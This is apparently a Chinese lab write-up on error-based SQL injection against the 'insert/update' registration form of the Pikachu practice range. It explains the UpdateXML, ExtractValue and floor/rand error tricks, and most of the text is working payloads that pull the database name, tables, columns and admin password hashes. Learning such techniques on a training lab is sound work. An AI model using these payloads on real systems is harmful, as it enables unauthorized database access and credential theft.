Pikachu的”insert/update”注入
一、相关函数
UpdateXML(xml_target,xpath_expr,new_xml)
#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。
floor(x)
#此函数返回不大于x的最大整数。
二、注入原理
1.在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回。
2.floor()报错,需要count()、rand()、group by,三者缺一不可。
floor(rand(0)*2)每次执行结果是基本固定的——011011…
在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错。
三、实操
使用pikachu靶场中SQL-Inject的“insert/update”注入,点击注册。
1.加单引号看一下报错。
查数据库名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',database()),1))#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',database())))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
嵌套查询原因:里面的查询结果是一个虚拟表,所以需要外套一个查询语句。
3.查表名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1))#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1))))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
注意:一次只能取出一个,因此需要使用limit,第一个参数表示从哪条开始查,第二个参数表示查几条数据。
limit 3,1查出users表。
1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 3,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
4.查字段名payload。
UpdateXML()函数:
1' and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1))#
ExtractValue()函数:
1' and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1))))#
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
limit 1,1查出username字段;
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 1,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
limit 2,1查出password字段。
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 2,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
5.查数据payload。
UpdateXML()函数:
查username:
1' and UpdateXML(1,concat('~',(select username from users limit 0,1)),1))#
查password:
1' and UpdateXML(1,concat(0,(select substr(password,1) from users where username='admin')),1))#
ExtractValue()函数:
查username:
1' and ExtractValue(1,concat('~',(select username from users limit 0,1))))#
查password:
1' and ExtractValue(1,concat(0,(select substr(password,1) from users where username='admin'))))#
UpdateXML()、ExtractValue()有长度限制,将之前想用来标记位置的’~'换成0,返回完整的32位md5值
floor()报错:
1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#